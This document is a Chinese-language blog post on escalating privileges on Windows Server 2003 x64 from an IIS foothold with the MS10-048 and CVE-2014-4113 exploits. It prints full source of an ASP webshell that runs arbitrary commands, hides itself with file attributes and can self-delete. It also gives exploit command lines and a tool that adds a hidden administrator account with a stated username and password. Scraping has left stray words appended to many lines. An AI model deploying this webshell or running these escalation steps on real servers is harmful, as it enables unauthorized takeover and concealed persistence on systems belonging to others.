Windows x64下提權Exploit整理

0x00    前言

在CVE-2014-4113出來後,x64環境下的提權又是一片短暫的光明.在此漏洞披露前,PR/IIS溢出/LPK劫持等對64位版本都無效果,網上公開曾有一個Exp有效,代號爲MS10048x64.git

本文謹記錄x64下可提權的Exp與測試過程.暫不考慮依賴第三方服務(如MSSQL/MYSQL)等的提權github

測試環境:
Windows Server 2003 Enterprise x64 Edition - VL
IIS 6.0

0x01    手寫一個AspExec先

在測試提權Exp以前,假使咱們已得到一個一句話後門.web

img

虛擬終端看到權限不足,默默的傳一個cmd.exe,設置好變量後能夠正常執行命令了,甩上最新的CVE-2014-4113的exp先shell

img

機智的發現沒有任何反應,這在ms10048上也有所體現.64位exp提權與32位提權有所區別,32位下存在虛擬終端無參數提權的exp,即便傳參,也是經過如下方式執行:app

c:\cmd.exe /c c:\exp.exe parms

可是x64下的幾個exp則須要這樣執行:ide

c:\exp.exe c:\recycler\server.exe

手傳大馬可執行Exp,但強迫症的仍是喜歡本身動手豐衣足食(亦能夠稱作重複造輪子XD),kyo327曾在《淺談在webshell下執行命令》中有所說起,先奉上部分代碼窺知一二:函數

<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<% end if %>
<%
'exec command
Dim path,parms,method,result
path=Trim(Request("path"))
parms=Trim(Request("parms"))
method=Trim(Request("submit"))
result=""
If path="" Then path="C:\WINDOWS\system32\cmd.exe"
If parms="" Then parms="/c "
If method="wscript.shell" Then
    result=shell.exec(path&" "&parms).stdout.readall
Elseif method="shell.application" Then
    set newshell=createobject("shell.application")
    newshell.ShellExecute path,parms,"","open",0
    result="Shell.application Execute OK."
Elseif method="self.delete" Then
    file.attributes = 0
    fso.deletefile(file_name)
    set fso = nothing
End If
%>

以上爲藉助Wscript.shell與Shell.application兩種方式執行命令,爲增強一點隱蔽性,加入幾行保護代碼(只讀,系統,隱藏):測試

<%
'hidded shell
dim file_name
file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\")
set fso = createobject("scripting.filesystemobject")
set file = fso.getfile(file_name)
file.attributes = 1+2+4
%>

最後實現效果以下:3d

img

隱藏屬性:server

img

左上角顯示支持組件,右側path填寫執行程序路徑(如上傳的cmd或exp),parms填寫參數(cmd執行需/c參數,exp不須要)

三個Button分別表示:以script.shell執行命令/以Shell.application執行命令/腳本自刪除

簡單的一個示例:

img

以上代碼在此處開源:

https://github.com/le4f/aspexec

0x02    MS10048提權

MS10048的exploit分32與64兩版本,漏洞存在於xxxCreateWindowEx()函數建立窗口時的本地權限提高.

64位環境下能夠用以執行***後門或提權,首先拿來K8Team的一個無參數添加用戶,經過API添加用戶,在刪除或禁用net1.exe時亦可直接添加:

用戶名k8team$,密碼k8team!@#

藉助AspExec,能夠很方便的提權,上傳exp(ms10048.exe)與添加用戶程序(user.exe)

Path:   c:\inetpub\wwwroot\ms10048.exe
Parms:  c:\inetpub\wwwroot\user.exe

注意不須要/c參數,使用wscript.shell或shell.applicatin依具體環境設置而定,以默認(wscript.shell)爲例,執行後短暫的延遲:

img

查看目標主機用戶,添加成功

img

至於user.exe替換成別的後門也都相似的.ms10048影響x64版本主要是Windows2003,對於新版系統仍是測試CVE-2014-4113吧

0x03    CVE-2014-4113提權

相較於MS10048,新的exp效果要好不少,Exp一樣分32/64兩個版本,一樣使用user.exe添加帳戶測試:

Path:   c:\inetpub\wwwroot\64.exe
Parms:  c:\inetpub\wwwroot\user.exe

上傳64.exe(exp)執行後回顯以下:

img

基本沒有明顯延遲,很順利的添加帳號

img

0x04    小結

以上整理僅爲對實際環境模擬測試,順便寫份代碼分享;)

若有錯誤或不足,還望指點.如有新的Exploit出現,筆者也會及時補充測試.


From    Le4F'Blog

相關文章
相關標籤/搜索